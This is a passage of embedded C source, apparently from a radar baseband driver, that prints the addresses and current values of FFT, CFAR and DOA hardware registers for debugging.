EMBARC_PRINTF("BB_REG_FFT_DINT_COE_PS_0 0x%x 0x%08x\n\r", BB_REG_FFT_DINT_COE_PS_0 , BB_READ_REG(bb_hw, FFT_DINT_COE_PS_0 ));
EMBARC_PRINTF("BB_REG_FFT_DINT_COE_PS_1 0x%x 0x%08x\n\r", BB_REG_FFT_DINT_COE_PS_1 , BB_READ_REG(bb_hw, FFT_DINT_COE_PS_1 ));
EMBARC_PRINTF("BB_REG_FFT_DINT_COE_PS_2 0x%x 0x%08x\n\r", BB_REG_FFT_DINT_COE_PS_2 , BB_READ_REG(bb_hw, FFT_DINT_COE_PS_2 ));
EMBARC_PRINTF("BB_REG_FFT_DINT_COE_PS_3 0x%x 0x%08x\n\r", BB_REG_FFT_DINT_COE_PS_3 , BB_READ_REG(bb_hw, FFT_DINT_COE_PS_3 ));
EMBARC_PRINTF("BB_REG_FFT_NO_WIN 0x%x 0x%08x\n\r", BB_REG_FFT_NO_WIN , BB_READ_REG(bb_hw, FFT_NO_WIN ));
EMBARC_PRINTF("BB_REG_FFT_NVE_MODE 0x%x 0x%08x\n\r", BB_REG_FFT_NVE_MODE , BB_READ_REG(bb_hw, FFT_NVE_MODE ));
EMBARC_PRINTF("BB_REG_FFT_NVE_SCL_0 0x%x 0x%08x\n\r", BB_REG_FFT_NVE_SCL_0 , BB_READ_REG(bb_hw, FFT_NVE_SCL_0 ));
EMBARC_PRINTF("BB_REG_FFT_NVE_SCL_1 0x%x 0x%08x\n\r", BB_REG_FFT_NVE_SCL_1 , BB_READ_REG(bb_hw, FFT_NVE_SCL_1 ));
EMBARC_PRINTF("BB_REG_FFT_NVE_SFT 0x%x 0x%08x\n\r", BB_REG_FFT_NVE_SFT , BB_READ_REG(bb_hw, FFT_NVE_SFT ));
EMBARC_PRINTF("BB_REG_FFT_NVE_CH_MSK 0x%x 0x%08x\n\r", BB_REG_FFT_NVE_CH_MSK , BB_READ_REG(bb_hw, FFT_NVE_CH_MSK ));
EMBARC_PRINTF("BB_REG_FFT_NVE_DFT_VALUE 0x%x 0x%08x\n\r", BB_REG_FFT_NVE_DFT_VALUE , BB_READ_REG(bb_hw, FFT_NVE_DFT_VALUE ));
EMBARC_PRINTF("BB_REG_FFT_ZER_DPL_ENB 0x%x 0x%08x\n\r", BB_REG_FFT_ZER_DPL_ENB , BB_READ_REG(bb_hw, FFT_ZER_DPL_ENB ));
EMBARC_PRINTF("BB_REG_FDB_FFT_DINT_DAT_FH 0x%x 0x%08x\n\r", BB_REG_FDB_FFT_DINT_DAT_FH , BB_READ_REG(bb_hw, FDB_FFT_DINT_DAT_FH ));
EMBARC_PRINTF("BB_REG_FDB_FFT_DINT_DAT_CS 0x%x 0x%08x\n\r", BB_REG_FDB_FFT_DINT_DAT_CS , BB_READ_REG(bb_hw, FDB_FFT_DINT_DAT_CS ));
EMBARC_PRINTF("BB_REG_FDB_FFT_DINT_DAT_PS 0x%x 0x%08x\n\r", BB_REG_FDB_FFT_DINT_DAT_PS , BB_READ_REG(bb_hw, FDB_FFT_DINT_DAT_PS ));
EMBARC_PRINTF("BB_REG_CFR_SIZE_OBJ 0x%x 0x%08x\n\r", BB_REG_CFR_SIZE_OBJ , BB_READ_REG(bb_hw, CFR_SIZE_OBJ ));
EMBARC_PRINTF("BB_REG_CFR_BACK_RNG 0x%x 0x%08x\n\r", BB_REG_CFR_BACK_RNG , BB_READ_REG(bb_hw, CFR_BACK_RNG ));
EMBARC_PRINTF("BB_REG_CFR_TYPE_CMB 0x%x 0x%08x\n\r", BB_REG_CFR_TYPE_CMB , BB_READ_REG(bb_hw, CFR_TYPE_CMB ));
EMBARC_PRINTF("BB_REG_CFR_MIMO_NUM 0x%x 0x%08x\n\r", BB_REG_CFR_MIMO_NUM , BB_READ_REG(bb_hw, CFR_MIMO_NUM ));
EMBARC_PRINTF("BB_REG_CFR_MIMO_ADR 0x%x 0x%08x\n\r", BB_REG_CFR_MIMO_ADR , BB_READ_REG(bb_hw, CFR_MIMO_ADR ));
EMBARC_PRINTF("BB_REG_CFR_PRT_VEL_00 0x%x 0x%08x\n\r", BB_REG_CFR_PRT_VEL_00 , BB_READ_REG(bb_hw, CFR_PRT_VEL_00 ));
EMBARC_PRINTF("BB_REG_CFR_PRT_VEL_01 0x%x 0x%08x\n\r", BB_REG_CFR_PRT_VEL_01 , BB_READ_REG(bb_hw, CFR_PRT_VEL_01 ));
EMBARC_PRINTF("BB_REG_CFR_PRT_VEL_10 0x%x 0x%08x\n\r", BB_REG_CFR_PRT_VEL_10 , BB_READ_REG(bb_hw, CFR_PRT_VEL_10 ));
EMBARC_PRINTF("BB_REG_CFR_PRT_VEL_11 0x%x 0x%08x\n\r", BB_REG_CFR_PRT_VEL_11 , BB_READ_REG(bb_hw, CFR_PRT_VEL_11 ));
EMBARC_PRINTF("BB_REG_CFR_PRT_VEL_20 0x%x 0x%08x\n\r", BB_REG_CFR_PRT_VEL_20 , BB_READ_REG(bb_hw, CFR_PRT_VEL_20 ));
EMBARC_PRINTF("BB_REG_CFR_PRT_VEL_21 0x%x 0x%08x\n\r", BB_REG_CFR_PRT_VEL_21 , BB_READ_REG(bb_hw, CFR_PRT_VEL_21 ));
EMBARC_PRINTF("BB_REG_CFR_PRT_VEL_30 0x%x 0x%08x\n\r", BB_REG_CFR_PRT_VEL_30 , BB_READ_REG(bb_hw, CFR_PRT_VEL_30 ));
EMBARC_PRINTF("BB_REG_CFR_PRT_VEL_31 0x%x 0x%08x\n\r", BB_REG_CFR_PRT_VEL_31 , BB_READ_REG(bb_hw, CFR_PRT_VEL_31 ));
EMBARC_PRINTF("BB_REG_CFR_PRT_RNG_00 0x%x 0x%08x\n\r", BB_REG_CFR_PRT_RNG_00 , BB_READ_REG(bb_hw, CFR_PRT_RNG_00 ));
EMBARC_PRINTF("BB_REG_CFR_PRT_RNG_01 0x%x 0x%08x\n\r", BB_REG_CFR_PRT_RNG_01 , BB_READ_REG(bb_hw, CFR_PRT_RNG_01 ));
EMBARC_PRINTF("BB_REG_CFR_PRT_RNG_02 0x%x 0x%08x\n\r", BB_REG_CFR_PRT_RNG_02 , BB_READ_REG(bb_hw, CFR_PRT_RNG_02 ));
EMBARC_PRINTF("BB_REG_CFR_TYP_AL 0x%x 0x%08x\n\r", BB_REG_CFR_TYP_AL , BB_READ_REG(bb_hw, CFR_TYP_AL ));
EMBARC_PRINTF("BB_REG_CFR_TYP_DS 0x%x 0x%08x\n\r", BB_REG_CFR_TYP_DS , BB_READ_REG(bb_hw, CFR_TYP_DS ));
EMBARC_PRINTF("BB_REG_CFR_PRM_0_0 0x%x 0x%08x\n\r", BB_REG_CFR_PRM_0_0 , BB_READ_REG(bb_hw, CFR_PRM_0_0 ));
EMBARC_PRINTF("BB_REG_CFR_PRM_0_1 0x%x 0x%08x\n\r", BB_REG_CFR_PRM_0_1 , BB_READ_REG(bb_hw, CFR_PRM_0_1 ));
EMBARC_PRINTF("BB_REG_CFR_PRM_1_0 0x%x 0x%08x\n\r", BB_REG_CFR_PRM_1_0 , BB_READ_REG(bb_hw, CFR_PRM_1_0 ));
EMBARC_PRINTF("BB_REG_CFR_PRM_1_1 0x%x 0x%08x\n\r", BB_REG_CFR_PRM_1_1 , BB_READ_REG(bb_hw, CFR_PRM_1_1 ));
EMBARC_PRINTF("BB_REG_CFR_PRM_1_2 0x%x 0x%08x\n\r", BB_REG_CFR_PRM_1_2 , BB_READ_REG(bb_hw, CFR_PRM_1_2 ));
EMBARC_PRINTF("BB_REG_CFR_PRM_2_0 0x%x 0x%08x\n\r", BB_REG_CFR_PRM_2_0 , BB_READ_REG(bb_hw, CFR_PRM_2_0 ));
EMBARC_PRINTF("BB_REG_CFR_PRM_2_1 0x%x 0x%08x\n\r", BB_REG_CFR_PRM_2_1 , BB_READ_REG(bb_hw, CFR_PRM_2_1 ));
EMBARC_PRINTF("BB_REG_CFR_PRM_2_2 0x%x 0x%08x\n\r", BB_REG_CFR_PRM_2_2 , BB_READ_REG(bb_hw, CFR_PRM_2_2 ));
EMBARC_PRINTF("BB_REG_CFR_PRM_3_0 0x%x 0x%08x\n\r", BB_REG_CFR_PRM_3_0 , BB_READ_REG(bb_hw, CFR_PRM_3_0 ));
EMBARC_PRINTF("BB_REG_CFR_PRM_3_1 0x%x 0x%08x\n\r", BB_REG_CFR_PRM_3_1 , BB_READ_REG(bb_hw, CFR_PRM_3_1 ));
EMBARC_PRINTF("BB_REG_CFR_PRM_3_2 0x%x 0x%08x\n\r", BB_REG_CFR_PRM_3_2 , BB_READ_REG(bb_hw, CFR_PRM_3_2 ));
EMBARC_PRINTF("BB_REG_CFR_PRM_3_3 0x%x 0x%08x\n\r", BB_REG_CFR_PRM_3_3 , BB_READ_REG(bb_hw, CFR_PRM_3_3 ));
EMBARC_PRINTF("BB_REG_CFR_PRM_4_0 0x%x 0x%08x\n\r", BB_REG_CFR_PRM_4_0 , BB_READ_REG(bb_hw, CFR_PRM_4_0 ));
EMBARC_PRINTF("BB_REG_CFR_PRM_4_1 0x%x 0x%08x\n\r", BB_REG_CFR_PRM_4_1 , BB_READ_REG(bb_hw, CFR_PRM_4_1 ));
EMBARC_PRINTF("BB_REG_CFR_PRM_5_0 0x%x 0x%08x\n\r", BB_REG_CFR_PRM_5_0 , BB_READ_REG(bb_hw, CFR_PRM_5_0 ));
EMBARC_PRINTF("BB_REG_CFR_PRM_5_1 0x%x 0x%08x\n\r", BB_REG_CFR_PRM_5_1 , BB_READ_REG(bb_hw, CFR_PRM_5_1 ));
EMBARC_PRINTF("BB_REG_CFR_PRM_6_0 0x%x 0x%08x\n\r", BB_REG_CFR_PRM_6_0 , BB_READ_REG(bb_hw, CFR_PRM_6_0 ));
EMBARC_PRINTF("BB_REG_CFR_PRM_6_1 0x%x 0x%08x\n\r", BB_REG_CFR_PRM_6_1 , BB_READ_REG(bb_hw, CFR_PRM_6_1 ));
EMBARC_PRINTF("BB_REG_CFR_PRM_6_2 0x%x 0x%08x\n\r", BB_REG_CFR_PRM_6_2 , BB_READ_REG(bb_hw, CFR_PRM_6_2 ));
EMBARC_PRINTF("BB_REG_CFR_PRM_6_3 0x%x 0x%08x\n\r", BB_REG_CFR_PRM_6_3 , BB_READ_REG(bb_hw, CFR_PRM_6_3 ));
EMBARC_PRINTF("BB_REG_CFR_PRM_7_0 0x%x 0x%08x\n\r", BB_REG_CFR_PRM_7_0 , BB_READ_REG(bb_hw, CFR_PRM_7_0 ));
EMBARC_PRINTF("BB_REG_CFR_MSK_DS_00 0x%x 0x%08x\n\r", BB_REG_CFR_MSK_DS_00 , BB_READ_REG(bb_hw, CFR_MSK_DS_00 ));
EMBARC_PRINTF("BB_REG_CFR_MSK_DS_01 0x%x 0x%08x\n\r", BB_REG_CFR_MSK_DS_01 , BB_READ_REG(bb_hw, CFR_MSK_DS_01 ));
EMBARC_PRINTF("BB_REG_CFR_MSK_DS_02 0x%x 0x%08x\n\r", BB_REG_CFR_MSK_DS_02 , BB_READ_REG(bb_hw, CFR_MSK_DS_02 ));
EMBARC_PRINTF("BB_REG_CFR_MSK_DS_03 0x%x 0x%08x\n\r", BB_REG_CFR_MSK_DS_03 , BB_READ_REG(bb_hw, CFR_MSK_DS_03 ));
EMBARC_PRINTF("BB_REG_CFR_MSK_DS_10 0x%x 0x%08x\n\r", BB_REG_CFR_MSK_DS_10 , BB_READ_REG(bb_hw, CFR_MSK_DS_10 ));
EMBARC_PRINTF("BB_REG_CFR_MSK_DS_11 0x%x 0x%08x\n\r", BB_REG_CFR_MSK_DS_11 , BB_READ_REG(bb_hw, CFR_MSK_DS_11 ));
EMBARC_PRINTF("BB_REG_CFR_MSK_DS_12 0x%x 0x%08x\n\r", BB_REG_CFR_MSK_DS_12 , BB_READ_REG(bb_hw, CFR_MSK_DS_12 ));
EMBARC_PRINTF("BB_REG_CFR_MSK_DS_13 0x%x 0x%08x\n\r", BB_REG_CFR_MSK_DS_13 , BB_READ_REG(bb_hw, CFR_MSK_DS_13 ));
EMBARC_PRINTF("BB_REG_CFR_MSK_DS_20 0x%x 0x%08x\n\r", BB_REG_CFR_MSK_DS_20 , BB_READ_REG(bb_hw, CFR_MSK_DS_20 ));
EMBARC_PRINTF("BB_REG_CFR_MSK_DS_21 0x%x 0x%08x\n\r", BB_REG_CFR_MSK_DS_21 , BB_READ_REG(bb_hw, CFR_MSK_DS_21 ));
EMBARC_PRINTF("BB_REG_CFR_MSK_DS_22 0x%x 0x%08x\n\r", BB_REG_CFR_MSK_DS_22 , BB_READ_REG(bb_hw, CFR_MSK_DS_22 ));
EMBARC_PRINTF("BB_REG_CFR_MSK_DS_23 0x%x 0x%08x\n\r", BB_REG_CFR_MSK_DS_23 , BB_READ_REG(bb_hw, CFR_MSK_DS_23 ));
EMBARC_PRINTF("BB_REG_CFR_MSK_DS_30 0x%x 0x%08x\n\r", BB_REG_CFR_MSK_DS_30 , BB_READ_REG(bb_hw, CFR_MSK_DS_30 ));
EMBARC_PRINTF("BB_REG_CFR_MSK_DS_31 0x%x 0x%08x\n\r", BB_REG_CFR_MSK_DS_31 , BB_READ_REG(bb_hw, CFR_MSK_DS_31 ));
EMBARC_PRINTF("BB_REG_CFR_MSK_DS_32 0x%x 0x%08x\n\r", BB_REG_CFR_MSK_DS_32 , BB_READ_REG(bb_hw, CFR_MSK_DS_32 ));
EMBARC_PRINTF("BB_REG_CFR_MSK_DS_33 0x%x 0x%08x\n\r", BB_REG_CFR_MSK_DS_33 , BB_READ_REG(bb_hw, CFR_MSK_DS_33 ));
EMBARC_PRINTF("BB_REG_CFR_MSK_DS_40 0x%x 0x%08x\n\r", BB_REG_CFR_MSK_DS_40 , BB_READ_REG(bb_hw, CFR_MSK_DS_40 ));
EMBARC_PRINTF("BB_REG_CFR_MSK_DS_41 0x%x 0x%08x\n\r", BB_REG_CFR_MSK_DS_41 , BB_READ_REG(bb_hw, CFR_MSK_DS_41 ));
EMBARC_PRINTF("BB_REG_CFR_MSK_DS_42 0x%x 0x%08x\n\r", BB_REG_CFR_MSK_DS_42 , BB_READ_REG(bb_hw, CFR_MSK_DS_42 ));
EMBARC_PRINTF("BB_REG_CFR_MSK_DS_43 0x%x 0x%08x\n\r", BB_REG_CFR_MSK_DS_43 , BB_READ_REG(bb_hw, CFR_MSK_DS_43 ));
EMBARC_PRINTF("BB_REG_CFR_MSK_DS_50 0x%x 0x%08x\n\r", BB_REG_CFR_MSK_DS_50 , BB_READ_REG(bb_hw, CFR_MSK_DS_50 ));
EMBARC_PRINTF("BB_REG_CFR_MSK_DS_51 0x%x 0x%08x\n\r", BB_REG_CFR_MSK_DS_51 , BB_READ_REG(bb_hw, CFR_MSK_DS_51 ));
EMBARC_PRINTF("BB_REG_CFR_MSK_DS_52 0x%x 0x%08x\n\r", BB_REG_CFR_MSK_DS_52 , BB_READ_REG(bb_hw, CFR_MSK_DS_52 ));
EMBARC_PRINTF("BB_REG_CFR_MSK_DS_53 0x%x 0x%08x\n\r", BB_REG_CFR_MSK_DS_53 , BB_READ_REG(bb_hw, CFR_MSK_DS_53 ));
EMBARC_PRINTF("BB_REG_CFR_MSK_DS_60 0x%x 0x%08x\n\r", BB_REG_CFR_MSK_DS_60 , BB_READ_REG(bb_hw, CFR_MSK_DS_60 ));
EMBARC_PRINTF("BB_REG_CFR_MSK_DS_61 0x%x 0x%08x\n\r", BB_REG_CFR_MSK_DS_61 , BB_READ_REG(bb_hw, CFR_MSK_DS_61 ));
EMBARC_PRINTF("BB_REG_CFR_MSK_DS_62 0x%x 0x%08x\n\r", BB_REG_CFR_MSK_DS_62 , BB_READ_REG(bb_hw, CFR_MSK_DS_62 ));
EMBARC_PRINTF("BB_REG_CFR_MSK_DS_63 0x%x 0x%08x\n\r", BB_REG_CFR_MSK_DS_63 , BB_READ_REG(bb_hw, CFR_MSK_DS_63 ));
EMBARC_PRINTF("BB_REG_CFR_MSK_DS_70 0x%x 0x%08x\n\r", BB_REG_CFR_MSK_DS_70 , BB_READ_REG(bb_hw, CFR_MSK_DS_70 ));
EMBARC_PRINTF("BB_REG_CFR_MSK_DS_71 0x%x 0x%08x\n\r", BB_REG_CFR_MSK_DS_71 , BB_READ_REG(bb_hw, CFR_MSK_DS_71 ));
EMBARC_PRINTF("BB_REG_CFR_MSK_DS_72 0x%x 0x%08x\n\r", BB_REG_CFR_MSK_DS_72 , BB_READ_REG(bb_hw, CFR_MSK_DS_72 ));
EMBARC_PRINTF("BB_REG_CFR_MSK_DS_73 0x%x 0x%08x\n\r", BB_REG_CFR_MSK_DS_73 , BB_READ_REG(bb_hw, CFR_MSK_DS_73 ));
EMBARC_PRINTF("BB_REG_CFR_MSK_PK_00 0x%x 0x%08x\n\r", BB_REG_CFR_MSK_PK_00 , BB_READ_REG(bb_hw, CFR_MSK_PK_00 ));
EMBARC_PRINTF("BB_REG_CFR_MSK_PK_01 0x%x 0x%08x\n\r", BB_REG_CFR_MSK_PK_01 , BB_READ_REG(bb_hw, CFR_MSK_PK_01 ));
EMBARC_PRINTF("BB_REG_CFR_MSK_PK_02 0x%x 0x%08x\n\r", BB_REG_CFR_MSK_PK_02 , BB_READ_REG(bb_hw, CFR_MSK_PK_02 ));
EMBARC_PRINTF("BB_REG_CFR_MSK_PK_03 0x%x 0x%08x\n\r", BB_REG_CFR_MSK_PK_03 , BB_READ_REG(bb_hw, CFR_MSK_PK_03 ));
EMBARC_PRINTF("BB_REG_CFR_MSK_PK_04 0x%x 0x%08x\n\r", BB_REG_CFR_MSK_PK_04 , BB_READ_REG(bb_hw, CFR_MSK_PK_04 ));
EMBARC_PRINTF("BB_REG_CFR_MSK_PK_05 0x%x 0x%08x\n\r", BB_REG_CFR_MSK_PK_05 , BB_READ_REG(bb_hw, CFR_MSK_PK_05 ));
EMBARC_PRINTF("BB_REG_CFR_MSK_PK_06 0x%x 0x%08x\n\r", BB_REG_CFR_MSK_PK_06 , BB_READ_REG(bb_hw, CFR_MSK_PK_06 ));
EMBARC_PRINTF("BB_REG_CFR_MSK_PK_07 0x%x 0x%08x\n\r", BB_REG_CFR_MSK_PK_07 , BB_READ_REG(bb_hw, CFR_MSK_PK_07 ));
EMBARC_PRINTF("BB_REG_CFR_PK_ENB 0x%x 0x%08x\n\r", BB_REG_CFR_PK_ENB , BB_READ_REG(bb_hw, CFR_PK_ENB ));
EMBARC_PRINTF("BB_REG_CFR_PK_THR_0 0x%x 0x%08x\n\r", BB_REG_CFR_PK_THR_0 , BB_READ_REG(bb_hw, CFR_PK_THR_0 ));
EMBARC_PRINTF("BB_REG_CFR_PK_THR_1 0x%x 0x%08x\n\r", BB_REG_CFR_PK_THR_1 , BB_READ_REG(bb_hw, CFR_PK_THR_1 ));
EMBARC_PRINTF("BB_REG_CFR_PK_THR_2 0x%x 0x%08x\n\r", BB_REG_CFR_PK_THR_2 , BB_READ_REG(bb_hw, CFR_PK_THR_2 ));
EMBARC_PRINTF("BB_REG_CFR_PK_THR_3 0x%x 0x%08x\n\r", BB_REG_CFR_PK_THR_3 , BB_READ_REG(bb_hw, CFR_PK_THR_3 ));
EMBARC_PRINTF("BB_REG_CFR_PK_THR_4 0x%x 0x%08x\n\r", BB_REG_CFR_PK_THR_4 , BB_READ_REG(bb_hw, CFR_PK_THR_4 ));
EMBARC_PRINTF("BB_REG_CFR_PK_THR_5 0x%x 0x%08x\n\r", BB_REG_CFR_PK_THR_5 , BB_READ_REG(bb_hw, CFR_PK_THR_5 ));
EMBARC_PRINTF("BB_REG_CFR_PK_THR_6 0x%x 0x%08x\n\r", BB_REG_CFR_PK_THR_6 , BB_READ_REG(bb_hw, CFR_PK_THR_6 ));
EMBARC_PRINTF("BB_REG_CFR_PK_THR_7 0x%x 0x%08x\n\r", BB_REG_CFR_PK_THR_7 , BB_READ_REG(bb_hw, CFR_PK_THR_7 ));
EMBARC_PRINTF("BB_REG_CFR_CS_ENA 0x%x 0x%08x\n\r", BB_REG_CFR_CS_ENA , BB_READ_REG(bb_hw, CFR_CS_ENA ));
EMBARC_PRINTF("BB_REG_CFR_CS_SKP_VEL 0x%x 0x%08x\n\r", BB_REG_CFR_CS_SKP_VEL , BB_READ_REG(bb_hw, CFR_CS_SKP_VEL ));
EMBARC_PRINTF("BB_REG_CFR_CS_SKP_RNG 0x%x 0x%08x\n\r", BB_REG_CFR_CS_SKP_RNG , BB_READ_REG(bb_hw, CFR_CS_SKP_RNG ));
EMBARC_PRINTF("BB_REG_CFR_CS_SIZ_VEL 0x%x 0x%08x\n\r", BB_REG_CFR_CS_SIZ_VEL , BB_READ_REG(bb_hw, CFR_CS_SIZ_VEL ));
EMBARC_PRINTF("BB_REG_CFR_CS_SIZ_RNG 0x%x 0x%08x\n\r", BB_REG_CFR_CS_SIZ_RNG , BB_READ_REG(bb_hw, CFR_CS_SIZ_RNG ));
EMBARC_PRINTF("BB_REG_CFR_TYP_NOI 0x%x 0x%08x\n\r", BB_REG_CFR_TYP_NOI , BB_READ_REG(bb_hw, CFR_TYP_NOI ));
EMBARC_PRINTF("BB_REG_CFR_NUMB_OBJ 0x%x 0x%08x\n\r", BB_REG_CFR_NUMB_OBJ , BB_READ_REG(bb_hw, CFR_NUMB_OBJ ));
EMBARC_PRINTF("BB_REG_DOA_DAMB_FRDTRA 0x%x 0x%08x\n\r", BB_REG_DOA_DAMB_FRDTRA , BB_READ_REG(bb_hw, DOA_DAMB_FRDTRA ));
EMBARC_PRINTF("BB_REG_DOA_DAMB_IDX_BGN 0x%x 0x%08x\n\r", BB_REG_DOA_DAMB_IDX_BGN , BB_READ_REG(bb_hw, DOA_DAMB_IDX_BGN ));
EMBARC_PRINTF("BB_REG_DOA_DAMB_IDX_LEN 0x%x 0x%08x\n\r", BB_REG_DOA_DAMB_IDX_LEN , BB_READ_REG(bb_hw, DOA_DAMB_IDX_LEN ));
EMBARC_PRINTF("BB_REG_DOA_DAMB_TYP 0x%x 0x%08x\n\r", BB_REG_DOA_DAMB_TYP , BB_READ_REG(bb_hw, DOA_DAMB_TYP ));
EMBARC_PRINTF("BB_REG_DOA_DAMB_DEFQ 0x%x 0x%08x\n\r", BB_REG_DOA_DAMB_DEFQ , BB_READ_REG(bb_hw, DOA_DAMB_DEFQ ));
EMBARC_PRINTF("BB_REG_DOA_DAMB_FDTR 0x%x 0x%08x\n\r", BB_REG_DOA_DAMB_FDTR , BB_READ_REG(bb_hw, DOA_DAMB_FDTR ));
EMBARC_PRINTF("BB_REG_DOA_DAMB_VELCOM 0x%x 0x%08x\n\r", BB_REG_DOA_DAMB_VELCOM , BB_READ_REG(bb_hw, DOA_DAMB_VELCOM ));
EMBARC_PRINTF("BB_REG_DOA_DBPM_ENA 0x%x 0x%08x\n\r", BB_REG_DOA_DBPM_ENA , BB_READ_REG(bb_hw, DOA_DBPM_ENA ));
EMBARC_PRINTF("BB_REG_DOA_DBPM_ADR 0x%x 0x%08x\n\r", BB_REG_DOA_DBPM_ADR , BB_READ_REG(bb_hw, DOA_DBPM_ADR ));
EMBARC_PRINTF("BB_REG_DOA_MODE_RUN 0x%x 0x%08x\n\r", BB_REG_DOA_MODE_RUN , BB_READ_REG(bb_hw, DOA_MODE_RUN ));
EMBARC_PRINTF("BB_REG_DOA_NUMB_OBJ 0x%x 0x%08x\n\r", BB_REG_DOA_NUMB_OBJ , BB_READ_REG(bb_hw, DOA_NUMB_OBJ ));
EMBARC_PRINTF("BB_REG_DOA_MODE_GRP 0x%x 0x%08x\n\r", BB_REG_DOA_MODE_GRP , BB_READ_REG(bb_hw, DOA_MODE_GRP ));
EMBARC_PRINTF("BB_REG_DOA_NUMB_GRP 0x%x 0x%08x\n\r", BB_REG_DOA_NUMB_GRP , BB_READ_REG(bb_hw, DOA_NUMB_GRP ));
EMBARC_PRINTF("BB_REG_DOA_GRP0_TYP_SCH 0x%x 0x%08x\n\r", BB_REG_DOA_GRP0_TYP_SCH , BB_READ_REG(bb_hw, DOA_GRP0_TYP_SCH ));
EMBARC_PRINTF("BB_REG_DOA_GRP0_MOD_SCH 0x%x 0x%08x\n\r", BB_REG_DOA_GRP0_MOD_SCH , BB_READ_REG(bb_hw, DOA_GRP0_MOD_SCH ));
EMBARC_PRINTF("BB_REG_DOA_GRP0_NUM_SCH 0x%x 0x%08x\n\r", BB_REG_DOA_GRP0_NUM_SCH , BB_READ_REG(bb_hw, DOA_GRP0_NUM_SCH ));
EMBARC_PRINTF("BB_REG_DOA_GRP0_ADR_COE 0x%x 0x%08x\n\r", BB_REG_DOA_GRP0_ADR_COE , BB_READ_REG(bb_hw, DOA_GRP0_ADR_COE ));
EMBARC_PRINTF("BB_REG_DOA_GRP0_SIZ_ONE_ANG 0x%x 0x%08x\n\r", BB_REG_DOA_GRP0_SIZ_ONE_ANG , BB_READ_REG(bb_hw, DOA_GRP0_SIZ_ONE_ANG ));
EMBARC_PRINTF("BB_REG_DOA_GRP0_SIZ_RNG_PKS_CRS 0x%x 0x%08x\n\r", BB_REG_DOA_GRP0_SIZ_RNG_PKS_CRS, BB_READ_REG(bb_hw, DOA_GRP0_SIZ_RNG_PKS_CRS));
EMBARC_PRINTF("BB_REG_DOA_GRP0_SIZ_STP_PKS_CRS 0x%x 0x%08x\n\r", BB_REG_DOA_GRP0_SIZ_STP_PKS_CRS, BB_READ_REG(bb_hw, DOA_GRP0_SIZ_STP_PKS_CRS));
EMBARC_PRINTF("BB_REG_DOA_GRP0_SIZ_RNG_PKS_RFD 0x%x 0x%08x\n\r", BB_REG_DOA_GRP0_SIZ_RNG_PKS_RFD, BB_READ_REG(bb_hw, DOA_GRP0_SIZ_RNG_PKS_RFD));
EMBARC_PRINTF("BB_REG_DOA_GRP0_SIZ_CMB 0x%x 0x%08x\n\r", BB_REG_DOA_GRP0_SIZ_CMB , BB_READ_REG(bb_hw, DOA_GRP0_SIZ_CMB ));
EMBARC_PRINTF("BB_REG_DOA_GRP0_DAT_IDX_0 0x%x 0x%08x\n\r", BB_REG_DOA_GRP0_DAT_IDX_0 , BB_READ_REG(bb_hw, DOA_GRP0_DAT_IDX_0 ));
EMBARC_PRINTF("BB_REG_DOA_GRP0_DAT_IDX_1 0x%x 0x%08x\n\r", BB_REG_DOA_GRP0_DAT_IDX_1 , BB_READ_REG(bb_hw, DOA_GRP0_DAT_IDX_1 ));
EMBARC_PRINTF("BB_REG_DOA_GRP0_DAT_IDX_2 0x%x 0x%08x\n\r", BB_REG_DOA_GRP0_DAT_IDX_2 , BB_READ_REG(bb_hw, DOA_GRP0_DAT_IDX_2 ));
EMBARC_PRINTF("BB_REG_DOA_GRP0_DAT_IDX_3 0x%x 0x%08x\n\r", BB_REG_DOA_GRP0_DAT_IDX_3 , BB_READ_REG(bb_hw, DOA_GRP0_DAT_IDX_3 ));
EMBARC_PRINTF("BB_REG_DOA_GRP0_DAT_IDX_4 0x%x 0x%08x\n\r", BB_REG_DOA_GRP0_DAT_IDX_4 , BB_READ_REG(bb_hw, DOA_GRP0_DAT_IDX_4 ));
EMBARC_PRINTF("BB_REG_DOA_GRP0_DAT_IDX_5 0x%x 0x%08x\n\r", BB_REG_DOA_GRP0_DAT_IDX_5 , BB_READ_REG(bb_hw, DOA_GRP0_DAT_IDX_5 ));
EMBARC_PRINTF("BB_REG_DOA_GRP0_DAT_IDX_6 0x%x 0x%08x\n\r", BB_REG_DOA_GRP0_DAT_IDX_6 , BB_READ_REG(bb_hw, DOA_GRP0_DAT_IDX_6 ));
EMBARC_PRINTF("BB_REG_DOA_GRP0_DAT_IDX_7 0x%x 0x%08x\n\r", BB_REG_DOA_GRP0_DAT_IDX_7 , BB_READ_REG(bb_hw, DOA_GRP0_DAT_IDX_7 ));
EMBARC_PRINTF("BB_REG_DOA_GRP0_SIZ_WIN 0x%x 0x%08x\n\r", BB_REG_DOA_GRP0_SIZ_WIN , BB_READ_REG(bb_hw, DOA_GRP0_SIZ_WIN ));
EMBARC_PRINTF("BB_REG_DOA_GRP0_THR_SNR_0 0x%x 0x%08x\n\r", BB_REG_DOA_GRP0_THR_SNR_0 , BB_READ_REG(bb_hw, DOA_GRP0_THR_SNR_0 ));
EMBARC_PRINTF("BB_REG_DOA_GRP0_THR_SNR_1 0x%x 0x%08x\n\r", BB_REG_DOA_GRP0_THR_SNR_1 , BB_READ_REG(bb_hw, DOA_GRP0_THR_SNR_1 ));
EMBARC_PRINTF("BB_REG_DOA_GRP0_SCL_POW 0x%x 0x%08x\n\r", BB_REG_DOA_GRP0_SCL_POW , BB_READ_REG(bb_hw, DOA_GRP0_SCL_POW ));
EMBARC_PRINTF("BB_REG_DOA_GRP0_SCL_NOI_0 0x%x 0x%08x\n\r", BB_REG_DOA_GRP0_SCL_NOI_0 , BB_READ_REG(bb_hw, DOA_GRP0_SCL_NOI_0 ));
EMBARC_PRINTF("BB_REG_DOA_GRP0_SCL_NOI_1 0x%x 0x%08x\n\r", BB_REG_DOA_GRP0_SCL_NOI_1 , BB_READ_REG(bb_hw, DOA_GRP0_SCL_NOI_1 ));
EMBARC_PRINTF("BB_REG_DOA_GRP0_SCL_NOI_2 0x%x 0x%08x\n\r", BB_REG_DOA_GRP0_SCL_NOI_2 , BB_READ_REG(bb_hw, DOA_GRP0_SCL_NOI_2 ));
EMBARC_PRINTF("BB_REG_DOA_GRP0_TST_POW 0x%x 0x%08x\n\r", BB_REG_DOA_GRP0_TST_POW , BB_READ_REG(bb_hw, DOA_GRP0_TST_POW ));
EMBARC_PRINTF("BB_REG_DOA_GRP0_SIZ_RNG_AML 0x%x 0x%08x\n\r", BB_REG_DOA_GRP0_SIZ_RNG_AML , BB_READ_REG(bb_hw, DOA_GRP0_SIZ_RNG_AML ));
